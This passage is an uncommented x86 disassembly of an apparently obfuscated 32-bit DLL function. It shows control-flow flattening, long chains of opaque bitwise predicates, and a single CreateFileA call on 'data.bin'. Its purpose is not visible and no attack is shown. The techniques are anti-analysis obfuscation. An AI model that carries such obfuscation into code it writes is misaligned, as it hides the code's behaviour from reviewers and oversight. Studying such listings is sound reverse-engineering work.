and eax, 0xae2e0af3
and edx, 0x11d0c104
or edx, eax
xor edx, esi
mov esi, edx
mov ecx, dword [ebp - 0x1c]
and ecx, 0xe8404af9
mov eax, dword [ebp - 0x18]
and eax, 0x17bfb506
or eax, ecx
mov edx, eax
xor edx, 0x4902106
xor eax, 0xc80008a1
and eax, 0xdb2f9ca1
and edx, 0x24d0635e
or edx, eax
mov ecx, esi
mov eax, esi
not eax
mov ebx, esi
mov dword [ebp - 0x14], esi
or esi, 0xe604c83a
mov ecx, esi
and ecx, 0x9dbf248c
mov edi, eax
and edi, 0x401341
or edi, ecx
mov ecx, ebx
xor ecx, 0x19fb37c5
and ecx, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0x9dbf248c
and ecx, 0x6240db73
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov ecx, edx
xor ecx, 0x1001000
or ecx, 0x42000002
mov edi, edx
xor edi, 0xc02000
and ecx, 0x43101346
and edi, 0x18eb2481
or edi, ecx
mov ecx, edx
xor ecx, 2
or ecx, 0x1101344
xor edx, 0x80048820
and ecx, 0x43101346
and edx, 0xa404c838
or edx, ecx
xor edx, edi
mov edi, edx
xor edi, edx
not edi
and edi, esi
xor edi, edx
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0x9777c22a
and eax, 0x68883dd5
or eax, ecx
xor eax, edi
xor eax, 0x68883dd5
or edi, edx
not edi
or edi, eax
xor edi, 0xc55fd5a6
xor edi, 0x3aa02a59
setne ah
sete byte [ebp - 0x14]
cmp dword [0x10045904], 0xa
setl cl
mov byte [ebp - 0x18], cl
setge ch
mov dl, ch
inc dl
mov al, ch
and al, dl
mov dh, al
xor dh, 1
and dl, dh
or dl, al
xor dl, 1
or dl, dh
mov al, dl
xor al, 1
mov dh, dl
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, dl
mov bl, dh
and bl, ch
xor dh, 1
and dh, cl
xor ch, al
or dl, cl
xor dl, 1
or dl, ch
xor dl, 1
or dl, bl
or dl, dh
mov dh, dl
xor dh, 1
mov ebx, eax
xor bl, cl
or al, cl
mov ecx, eax
xor cl, 1
or bl, cl
mov bh, bl
xor bh, 1
mov ch, bh
or bh, cl
and cl, bl
and ch, al
or ch, cl
xor bl, al
xor bh, 1
or bh, bl
xor ch, 1
mov al, ch
xor al, bh
or ch, bh
xor ch, 1
or ch, al
mov bh, ch
xor bh, 1
mov al, bh
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, bh
mov bl, al
xor bl, 1
or al, dh
or bl, dl
mov cl, bl
xor cl, al
or bl, al
xor bl, 1
or bl, cl
and bh, dh
or dh, ch
and ch, dl
or ch, bh
xor ch, 1
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov cl, bl
xor cl, ch
and cl, bl
and ch, bl
xor bl, 1
and bl, al
or ch, bl
or ch, cl
mov al, ch
xor al, 1
mov dl, ch
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov cl, byte [ebp - 0x14]
and dl, cl
mov al, ah
and al, ch
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
or ch, ah
mov ah, dl
xor ah, ch
and ah, dl
xor dl, al
and dl, ch
xor dl, al
mov al, ah
xor al, 1
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
movzx eax, byte [ebp - 0x18]
mov ch, al
inc ch
mov ah, cl
xor ah, al
or al, cl
mov dh, al
or cl, ch
and ch, ah
xor ch, 1
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov cl, ah
xor cl, 1
mov al, cl
xor al, dh
or cl, dh
xor cl, 1
or cl, al
mov dh, ch
and dh, cl
xor cl, 1
mov al, ch
xor al, 1
and al, cl
or al, dh
mov dh, ch
xor dh, cl
or cl, ch
xor cl, 1
or cl, dh
xor al, 1
mov ch, al
xor ch, cl
or al, cl
xor al, 1
or al, ch
mov ch, al
xor ch, 1
mov cl, ah
or cl, ch
xor cl, 1
xor ch, ah
or cl, ch
mov dh, cl
xor dh, 1
or al, ah
and ch, ah
xor ch, 1
mov ah, al
xor ah, ch
or ch, al
xor ch, 1
or ch, ah
mov al, ch
xor al, 1
and ch, cl
or cl, al
xor cl, 1
and al, dh
or al, ch
or al, cl
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
xor ah, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
mov ah, al
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ch, dl
xor ch, 1
mov cl, ch
and cl, dl
xor cl, 1
mov dh, dl
xor dh, cl
or cl, dl
xor cl, 1
or cl, dh
mov dh, cl
xor dh, ah
or cl, ah
xor cl, 1
or cl, dh
xor cl, 1
or cl, dh
and al, ah
xor al, 1
mov dh, ah
xor dh, al
or al, ah
xor cl, 1
xor al, 1
or al, dh
and ch, al
xor al, 1
and al, dl
or al, ch
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
mov ch, ah
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
xor dl, 1
or ah, cl
xor ah, 1
xor al, cl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, eax
xor dl, 1
mov ah, dl
and ah, al
xor ah, 1
mov ch, al
xor ch, ah
or ah, al
mov al, cl
xor al, 1
or dl, al
mov dh, al
and dh, cl
xor ah, 1
or ah, ch
xor dh, 1
mov al, cl
xor al, dh
or dh, cl
xor dh, 1
or dh, al
mov al, ah
xor al, 1
and al, dh
xor dh, 1
and dh, ah
or dh, al
mov eax, edx
xor al, dh
test al, 1
mov ecx, 0x7643e897
mov eax, 0x9b0056f6
cmovne ecx, eax
test dl, 1
mov eax, 0x7643e897
cmovne eax, ecx
test dh, 1
cmove eax, ecx
jmp 0x1000f9b0
cmp eax, 0x46d78cee
jle 0x10014bf5
cmp eax, 0x59839038
jg 0x10018b8f
cmp eax, 0x46d78cef
je 0x1001c606
cmp eax, 0x4990dc39
jne 0x1000f9b0
mov eax, 0x9a05f2dd
jmp 0x1000f9b0
cmp eax, 0xb99bae2b
jg 0x10018bd5
cmp eax, 0xb3498053
je 0x1001c610
cmp eax, 0xb5e98446
jne 0x1000f9b0
cmp byte [ebp - 0x4f], 0
mov eax, 0x6906d4b2
mov ecx, 0xf0c0e10a
cmovne eax, ecx
jmp 0x1000f9b0
cmp eax, 0x34d79ba5
jg 0x100195b5
cmp eax, 0x2c5d82f8
je 0x1001db31
cmp eax, 0x31303c23
jne 0x1000f9b0
mov eax, dword [ebp - 0x68]
cmp eax, 2
mov eax, 0xbc3fb3df
mov ecx, 0xc823badf
cmovb eax, ecx
jmp 0x1000f9b0
cmp eax, 0xf7a6a60b
jg 0x100195e1
cmp eax, 0xf0b39f7d
je 0x1001db3e
cmp eax, 0xf0c0e10a
jne 0x1000f9b0
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0xedab2fb3
jmp 0x1000f9b0
cmp eax, 0x7c3ade53
jle 0x10019643
cmp eax, 0x7c3ade54
je 0x1001e95d
cmp eax, 0x7e59af00
jne 0x1000f9b0
mov eax, 0xab3ba6e6
jmp 0x1000f9b0
cmp eax, 0x809cc6c4
je 0x1001e96a
cmp eax, 0x8195dcf5
je 0x1001fabf
cmp eax, 0x84b7df52
jne 0x1000f9b0
mov eax, 0xf0b39f7d
jmp 0x1000f9b0
cmp eax, 0xffdacc08
je 0x1000f375
cmp eax, 0xfff7fbca
je 0x1001fad4
cmp eax, 0x853653e
jne 0x1000f9b0
sub esp, 0x1c
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp], str.data.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov eax, 0xbcb596b3
jmp 0x1000f9b0
cmp eax, 0xbcb596b3
je 0x1002055e
cmp eax, 0xbf0a764f
je 0x10021c0a
cmp eax, 0xc823badf
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov edi, eax
mov eax, edx
or eax, 0x64d5cc55
mov ecx, eax
and ecx, 0x7fbb7df6
mov esi, edi
mov ebx, edi
and esi, 0x80000208
or esi, ecx
mov ecx, edx
xor ecx, 0x9b2a33aa
and ecx, edx
mov edi, ecx
not edi
or eax, edi
and edi, 0x7fbb7df6
and ecx, 0x80448209
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x64508401
xor eax, 0x1000282
and ecx, 0xfe7ab529
and eax, 0x1854ad6
or eax, ecx
mov esi, eax
xor esi, 0x1854ad6
xor eax, 0x32201408
and eax, 0x33205cca
mov ecx, esi
and ecx, 0xccdfa335
or ecx, eax
mov edi, ecx
xor ecx, 0x33205cca
mov eax, ecx
and eax, 0x6e1b4692
and esi, 0x91e4b96d
or esi, eax
xor edi, 0xccdfa335
and ecx, 0xa8332607
mov eax, edi
and eax, 0x57ccd9f8
or eax, ecx
xor eax, 0x57ccd9f8
or eax, edi
not eax
or eax, esi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x98668923
and esi, eax
and eax, 0x679976dc
or eax, ecx
mov ecx, eax
xor ecx, 0x4799129c
xor eax, 0x98668923
mov edi, eax
and edi, 0xa024e541
and ecx, 0x5fdb1abe
or ecx, edi
mov edi, esi
not edi
or eax, edi
and edi, 0xa024e541
and esi, 0x5fdb1abe
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
or ecx, 0x4a8d276
and ecx, 0x4a8d277
and eax, 0xfffffffe
xor eax, ecx
mov ecx, eax
xor ecx, 0xb2412c88
xor eax, 0x4a8d277
mov esi, eax
and esi, 0x493e5102
and ecx, 0xb6c1aefd
or ecx, esi
xor ecx, 0xb6c1aefc
or ecx, eax
mov eax, edx
xor eax, 0xb9e8f0c8
and eax, edx
mov dword [ebp - 0x14], edx
mov edi, eax
not edi
mov esi, edi
and esi, 0xf3ce23c2
and eax, 0xc31dc3d
or eax, esi
mov esi, edx
or esi, 0x46170f37
or edi, esi
and esi, 0xf3ce23c2
mov edx, ebx
mov dword [ebp - 0x18], ebx
and ebx, 0x820d008
or ebx, esi
xor ebx, eax
not edi
or edi, ebx
mov eax, edx
and eax, 0xeeeb894a
mov edx, dword [ebp - 0x14]
mov esi, edx
and esi, 0x111476b5
or esi, eax
xor esi, 0xeeeb894b
and edx, 1
or edx, esi
xor edi, 0xb9e8f0c9
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xed0ac6ad
and edx, 0x12f53952
or edx, eax
mov ebx, edx
xor ebx, 0xed0ac6ad
xor edx, 0x12f53952
mov esi, ebx
and esi, 0x6d97a917
mov eax, edx
and eax, 0x926856e8
or eax, esi
mov esi, ecx
not esi
mov edi, eax
xor edi, 0x926856e8
and edi, ecx
xor eax, 0x6d97a917
and eax, esi
or eax, edi
mov edi, eax
xor edi, ecx
and edi, eax
or esi, ebx
and ebx, 0xc383d7b0
and edx, 0x3c7c284f
or edx, ebx
xor edx, 0xc383d7b0
or edx, ecx
not esi
not edx
or edx, esi
mov ebx, edx
mov eax, edi
not eax
mov ecx, eax
and eax, 0x5aa58f11
and edi, 0xa55a70ee
or edi, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0x5aa58f11
and ebx, 0xa55a70ee
or ebx, eax
not ecx
xor ebx, edi
or ebx, ecx
mov edx, dword [ebp - 0x14]
mov eax, edx
or eax, 0x20024400
and eax, 0x24124521
mov edi, dword [ebp - 0x18]
mov ecx, edi
and ecx, 0x2000000
or ecx, eax
mov eax, edi
or eax, 0x4100121
and eax, 0x24124521
mov esi, edx
and esi, 0xe81080
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x20201080
xor esi, 0xcc152075
and eax, 0x22201180
and esi, 0xccdf6475
or esi, eax
mov eax, edi
and eax, 0x24204aeb
mov ecx, edx
and ecx, 0xdbdfb514
or ecx, eax
mov edx, ecx
mov ecx, esi
xor ecx, 0x984421
xor edx, 0x2da1f4a
mov eax, edi
xor eax, edx
and eax, edx
mov edx, esi
xor edx, 0x33209b8a
xor esi, 0x82bdfd23
and esi, edx
and ecx, 0x209844a1
or ecx, esi
mov esi, eax
not eax
or edx, eax
and eax, 0x4e629956
and esi, 0xb19d66a9
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
not edx
or edx, eax
mov esi, ebx
mov ecx, ebx
not ecx
mov dword [ebp - 0x14], ecx
mov eax, ebx
and eax, 0xb0d083ca
mov edi, ecx
and edi, 0x4f2f7c35
or edi, eax
mov eax, ecx
and eax, ebx
mov ebx, eax
not ebx
mov ecx, esi
mov dword [ebp - 0x1c], esi
or ecx, ebx
and ebx, 0xb0d083ca
and eax, 0x4f2f7c35
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov eax, dword [ebp - 0x14]
and eax, 0x7aa3cc82
mov ebx, esi
and ebx, 0x855c337d
or ebx, eax
mov eax, edx
xor eax, 0xd905aa5e
xor edx, 0x26fa55a1
mov edi, edx
and edi, 0xee92506b
xor ebx, 0x855c337d
or ebx, eax
and eax, 0x116daf94
or eax, edi
mov esi, ecx
not esi
and ecx, 0xee92506b
and esi, 0x116daf94
or esi, ecx
xor esi, eax
not esi
or esi, edx
mov edi, esi
not edi
mov ecx, edi
xor ecx, ebx
and ecx, edi
and esi, 0xcaea6fc1
and edi, 0x3515903e
or edi, esi
xor edi, ebx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x9771c41f
and ecx, 0x688e3be0
or ecx, eax
mov eax, edi
xor eax, 0x3515903e
xor edi, 0xcaea6fc1
or edx, edi
and edi, 0x9771c41f
and eax, 0x688e3be0
or eax, edi
xor eax, ecx
not edx
or edx, eax
mov edi, edx
not edi
mov esi, edx
xor esi, 0x70cac773
and esi, edx
or edx, 0x8f35388c
mov eax, edx
and eax, 0xffb60c9f
and edi, 0x48c360
or edi, eax
mov eax, esi
not eax
or edx, eax
and eax, 0xffb60c9f
and esi, 0x49f360
or esi, eax
xor esi, edi
not edx
or edx, esi
mov ecx, dword [ebp - 0x1c]
mov esi, ecx
xor esi, 0x4852ea18
and esi, ecx
mov eax, ecx
or eax, 0x21840462
and eax, 0x21d4c47a
mov edi, dword [ebp - 0x14]
and edi, 0x48022a00
or edi, eax
mov ebx, edi
mov eax, esi
not eax
or ecx, eax
and eax, 0x21d4c47a
and esi, 0xde2b3b85
or esi, eax
mov edi, edx
xor edi, 0x8f35388c
xor esi, ebx
mov eax, ecx
not eax
or eax, esi
not esi
and esi, 0xb7ad15e7
and eax, 0x4852ea18
or eax, esi
xor edx, 0x70cac773
mov ecx, eax
not ecx
and eax, edx
or edx, ecx
not edx
and ecx, edi
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xfe3dba8a
and eax, 0x1c24575
or eax, edx
xor eax, 0x1c24575
or eax, ecx
xor eax, 0xffffffff
sete byte [ebp - 0x18]
setne dh
mov byte [ebp - 0x1c], dh
cmp dword [0x10045904], 0xa
setge byte [ebp - 0x14]
setl bh
mov ah, bh
inc ah
mov al, bh
and al, ah
xor al, 1
or al, ah
xor al, 1
or al, bh
mov ch, al
xor ch, 1
mov cl, al
and cl, ch
xor al, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, al
mov al, bh
and al, cl
xor cl, 1
mov ch, cl
xor ch, ah
and ch, cl
and cl, ah
or cl, al
xor ch, 1
xor cl, 1
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov al, dh
inc al
mov ch, dh
xor ch, al
xor ch, 1
or al, dh
mov dh, ch
xor dh, al
or al, ch
xor al, 1
or al, dh
mov bl, al
xor bl, 1
and bl, al
xor bl, 1
mov dh, al
xor dh, bl
or bl, al
xor bl, 1
or bl, dh
mov edx, ebx
xor dl, 1
or cl, byte [ebp - 0x14]
mov al, cl
xor al, 1
mov byte [ebp - 0x20], bh
mov dh, bh
or dh, ah
xor ah, bh
and ah, dh
mov bh, cl
and bh, al
xor bh, 1
or bh, al
and al, ah
xor ah, 1
xor bh, 1
or bh, cl
xor bh, ah
and ah, cl
or ah, al
mov al, ah
xor al, cl
and al, ah
mov ah, bh
xor ah, 1
mov ecx, eax
xor cl, 1
and bh, cl
or cl, ah
and ah, al
or ah, bh
xor ah, 1
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
mov byte [ebp - 0x2c], ah
mov ch, bl
mov bh, bl
and ch, dl
xor ch, 1
mov cl, dl
mov byte [ebp - 0x24], dl
or cl, ch
xor cl, 1
xor ch, dl
or ch, cl
mov dh, byte [ebp - 0x18]
mov ah, dh
mov cl, byte [ebp - 0x20]
xor ah, cl
mov bl, cl
mov dl, byte [ebp - 0x14]
xor bl, dl
and bl, ah
xor bl, dl
mov byte [ebp - 0x28], bl
xor dl, dh
mov byte [ebp - 0x18], dh
or dl, cl
mov byte [ebp - 0x14], dl
mov bl, byte [ebp - 0x1c]
xor cl, bl
mov byte [ebp - 0x20], cl
mov cl, bh
mov al, bh
or al, bl
xor al, 1
xor cl, bl
or al, cl
and cl, bl
mov dl, cl
mov bh, ch
and ch, bl
mov cl, byte [ebp - 0x24]
xor bl, cl
and bl, cl
xor bl, 1
mov cl, al
xor cl, bl
or bl, al
xor cl, 1
mov al, cl
xor al, bl
or bl, cl
xor bl, 1
or bl, al
xor bh, 1
and bh, dh
or ch, bh
mov al, dl
xor al, ch
or ch, dl
xor ch, 1
or ch, al
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov cl, ch
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
mov al, cl
xor al, 1
mov ch, al
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
xor ch, bl
xor bl, 1
or bl, al
mov cl, bl
xor cl, 1
and bl, ch
mov al, ch
xor al, 1
mov ch, cl
xor ch, al
and ch, cl
and al, cl
or al, bl
mov cl, ch
xor cl, 1
xor ch, al
xor al, 1
or al, cl
xor al, 1
or al, ch
movzx edx, byte [ebp - 0x2c]
mov bh, dl
xor bh, 1
mov cl, bh
and cl, dl
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
mov dh, dl
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
and cl, ch
xor cl, 1
mov bl, cl
xor bl, ch
or cl, ch
xor cl, 1
or cl, bl
mov bl, cl
xor bl, 1
mov ch, al
xor ch, 1
or cl, al
or bl, ch
mov dl, cl
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov cl, bl
xor cl, 1
mov dl, ch
and dl, cl
and bl, al
or bl, dl
xor bl, 1
or bl, cl
and ch, al
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
xor ch, 1
mov al, ch
xor al, dh
or ch, dh
and ch, al
mov al, ch
and ch, dh
mov cl, bl
xor cl, 1
xor al, 1
and bh, al
or ch, bh
xor ch, 1
or ch, al
mov dh, ch
xor dh, 1
mov al, dh
and al, ch
xor al, 1
or al, dh
xor al, 1
or al, ch
mov dl, cl
and dl, al
xor al, 1
and al, bl
or al, dl
and ch, cl
or cl, dh
xor cl, 1
and dh, bl
or dh, ch
or dh, cl
xor dh, 1
mov ecx, eax
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
xor cl, 1
mov al, cl
xor al, dh
or dh, cl
xor dh, 1
or dh, al
mov al, byte [ebp - 0x28]
xor ah, al
and ah, al
movzx ecx, byte [ebp - 0x20]
or cl, byte [ebp - 0x18]
xor cl, 1
mov ch, byte [ebp - 0x14]
xor ch, 1
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
xor ch, 1
or ch, al
mov cl, ah
xor cl, 1
mov dl, ch
xor dl, 1
mov al, dl
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dl
and ah, al
xor al, 1
and al, cl
or cl, dl
or al, ah
xor al, 1
mov dl, cl
or dl, al
xor dl, 1
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov dl, cl
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor al, 1
or al, cl
xor al, 1
or al, dl
xor al, 1
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov dl, al
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov dl, dh
xor dl, 1
and dl, dh
xor dl, 1
mov eax, edx
xor al, dh
or dl, dh
xor dl, 1
or dl, al
mov ah, cl
xor ah, 1
and ah, cl
xor ah, 1
mov al, ah
xor al, cl
or ah, cl
xor ah, 1
or ah, al
mov al, dl
xor al, 1
mov ch, ah
xor ch, 1
mov byte [ebp - 0x18], ch
mov cl, ch
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, ch
mov ebx, ecx
xor bl, 1
mov ch, dl
and ch, al
xor ch, 1
mov dh, al
xor dh, ch
or ch, al
xor ch, 1
or ch, dh
mov dh, cl
and dh, bl
xor dh, 1
or dh, bl
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
and dh, cl
xor dh, 1
mov ebx, ecx
xor bl, dh
or dh, cl
xor dh, 1
or dh, bl
mov cl, dh
xor cl, 1
mov bl, ch
xor bl, 1
mov byte [ebp - 0x14], bl
and bl, ch
mov bh, byte [ebp - 0x14]
xor bh, bl
xor bl, 1
or bl, ch
xor bl, 1
or bl, bh
mov bh, cl
and bh, bl
xor bl, 1
and bl, dh
or bl, bh
mov bh, bl
xor bh, dh
and bh, bl
and dh, ch
mov ch, byte [ebp - 0x14]
and cl, ch
or dh, cl
xor dh, 1
or dh, ch
mov ch, dh
xor ch, 1
mov cl, dh
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, dh
xor cl, bh
mov dh, bh
xor dh, ch
or ch, bh
xor ch, 1
or ch, dh
xor cl, 1
xor ch, 1
or ch, cl
mov dh, byte [ebp - 0x18]
and dl, dh
or dh, al
and al, ah
mov ah, dh
xor ah, 1
or al, dl
xor al, 1
mov cl, dh
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, ch
mov cl, dl
or cl, ch
and al, ch
xor ch, 1
xor ah, dl
and cl, ah
mov ah, ch
xor ah, dl
and ah, ch
and ch, dl
or ch, al
or ch, ah
mov al, ch
xor al, 1
and al, ch
xor al, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov ch, al
mov edx, ecx
or al, cl
xor cl, 1
and ch, cl
and dl, ah
or dl, ch
xor cl, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd62f0750
mov esi, 0x9b0056f6
cmovne ecx, esi
test al, 1
mov eax, 0xd62f0750
jmp 0x10027220
cmp eax, 0x3a32672b
je 0x10022f96
cmp eax, 0x4191dbec
je 0x10022fb4
cmp eax, 0x425c070c
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
not esi
mov ecx, edx
mov edi, edx
mov dword [ebp - 0x1c], edx
and ecx, 0x89df48c3
mov eax, esi
mov dword [ebp - 0x14], esi
and eax, 0x7620b73c
or eax, ecx
mov ecx, eax
xor ecx, 0x2400312c
and ecx, 0x24d2316e
xor eax, 0x890d4881
and eax, 0xdb2dce91
or eax, ecx
mov edx, eax
xor edx, 0x24d2316e
and edx, eax
mov eax, esi
and eax, 0x4123e345
mov ecx, edi
and ecx, 0xbedc1cba
or ecx, eax
xor ecx, 0x9a0e2dd4
mov ebx, ecx
xor ebx, esi
and ebx, ecx
mov eax, edx
not eax
mov dword [ebp - 0x18], eax
mov ecx, edx
xor ecx, 0x1e832495
and ecx, eax
mov eax, edx
and eax, 0xe17cdb6a
or eax, ecx
mov dword [ebp - 0x24], eax
mov ecx, ebx
not ecx
mov dword [ebp - 0x20], ecx
mov esi, ebx
or esi, 0xe17cdb6a
mov edi, esi
and edi, 0xfb394b2d
and ecx, 0x4822490
or ecx, edi
mov edi, ebx
xor edi, 0x1e832495
and edi, ebx
mov eax, edi
not eax
or esi, eax
and eax, 0xfb394b2d
and edi, 0x4c6b4d2
or edi, eax
xor edi, ecx
not esi
or esi, edi
xor esi, dword [ebp - 0x24]
mov eax, edx
and eax, 0x9632644f
mov ecx, dword [ebp - 0x18]
and ecx, 0x69cd9bb0
or ecx, eax
or edx, ebx
and ebx, 0x9632644f
mov eax, dword [ebp - 0x20]
and eax, 0x69cd9bb0
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xf23142a9
and esi, 0xdcebd56
or esi, ecx
mov ecx, edx
not ecx
or eax, edx
and edx, 0xf23142a9
and ecx, 0xdcebd56
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x58018011
and edx, 0x5881803f
mov esi, ecx
and ecx, 0x24523140
or ecx, edx
or esi, 0x80002e
and esi, 0x5881803f
and eax, 0x832c4e80
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x8a848929
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x757b76d6
and eax, 0x8a848929
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
or ecx, 0x721950ec
or eax, 1
and ecx, 0x721950ed
and eax, 0x721950ed
and edx, 0x8de6af12
or edx, eax
xor edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xeedfc6a6
and edx, 0x11203959
or edx, ecx
xor edx, 0x11203958
or edx, eax
mov edi, dword [ebp - 0x14]
mov eax, edi
and eax, 0xd15254e0
mov esi, dword [ebp - 0x1c]
mov ecx, esi
xor ecx, 0xd15254e0
and ecx, esi
mov ebx, esi
or ecx, eax
mov eax, ecx
xor eax, 0x288d8b02
xor ecx, 0x11024060
and ecx, 0x1722607c
and eax, 0xe8dd9f83
or eax, ecx
xor eax, 0xe8dd9f83
or eax, edi
mov esi, edx
or esi, eax
mov edi, eax
xor edi, 0x1a184200
xor eax, 0x80242080
and eax, 0xc4a739df
and edi, 0x3b58c620
or edi, eax
mov eax, edx
not eax
and eax, edx
xor edx, 0x5e9b5b5f
xor edi, edx
xor edi, eax
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xd3895135
xor esi, 0x2f19e4a9
and esi, eax
mov edx, eax
and edx, 0x2c76aeca
or edx, ecx
mov eax, edx
xor eax, 0x2c76aeca
xor edx, 0x36f4a63
and edx, eax
or esi, edx
mov ecx, edi
xor ecx, 0xc4a739df
mov edx, edi
xor edi, 0x14412289
and edi, ecx
xor edx, 0x3b58c620
or eax, edx
and edx, 0xd0e61b56
or edi, edx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, esi
xor ecx, edi
mov esi, ecx
not esi
mov edx, esi
and edx, 0x9cf3f738
and ecx, 0x630c08c7
or ecx, edx
xor ecx, eax
xor ecx, 0x630c08c7
or esi, eax
not esi
or esi, ecx
mov dword [ebp - 0x18], esi
and ebx, 0x65734c0c
mov eax, dword [ebp - 0x14]
and eax, 0x9a8cb3f3
or eax, ebx
mov ecx, eax
xor ecx, 0x80849203
xor eax, 0x552000c
and eax, 0x1f5a21fc
and ecx, 0xe0a5de03
or ecx, eax
mov eax, ecx
xor eax, 0xe0a5de03
xor ecx, 0x1f5a21fc
mov edx, ecx
and edx, 0xcb4afbd8
mov edi, eax
and edi, 0x34b50427
or edi, edx
mov edx, edi
xor edx, 0x34b50427
xor edi, 0xcb4afbd8
mov ebx, edi
and edi, 0x28e3c09d
mov esi, edx
and esi, 0xd71c3f62
or esi, edi
or ebx, 0x202000a8
and ebx, 0x30288aee
xor esi, 0xd71c3f62
or esi, edx
and edx, 0x8bd12511
or edx, ebx
or ecx, 0x10088a46
and ecx, 0x30288aee
and eax, 0x44065000
or eax, ecx
xor eax, edx
xor eax, 0x9bd9af57
not esi
or esi, eax
mov ecx, dword [ebp - 0x18]
mov edi, ecx
not edi
mov eax, ecx
or eax, 0x106c48
and eax, 0x42906c4b
mov edx, edi
and edx, 0x102283b0
or edx, eax
mov eax, edi
mov dword [ebp - 0x1c], edi
or eax, 0x42800003
and eax, 0x42906c4b
and ecx, 0xad4d1004
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0xa945700c
xor ecx, 0x12820192
and ecx, 0x169a0dd2
and eax, 0xe965f22d
or eax, ecx
mov ebx, esi
not ebx
mov ecx, ebx
and ecx, 0x14e5f1b9
mov edx, edi
or edx, esi
and esi, 0xeb1a0e46
or esi, ecx
mov edi, eax
xor edi, 0xe9000204
xor eax, 0x14800190
and eax, 0x14e5f1b9
and edi, 0xeb1a0e46
or edi, eax
xor edi, esi
xor ebx, edi
and ebx, edi
mov esi, edx
not esi
and edx, 0xd783b887
mov edi, esi
and edi, 0x287c4778
or edi, edx
mov eax, edi
xor eax, 0x287c4778
mov dword [ebp - 0x20], eax
and eax, 0xd2537110
and esi, 0x2dac8eef
or esi, eax
mov dword [ebp - 0x24], esi
mov eax, ebx
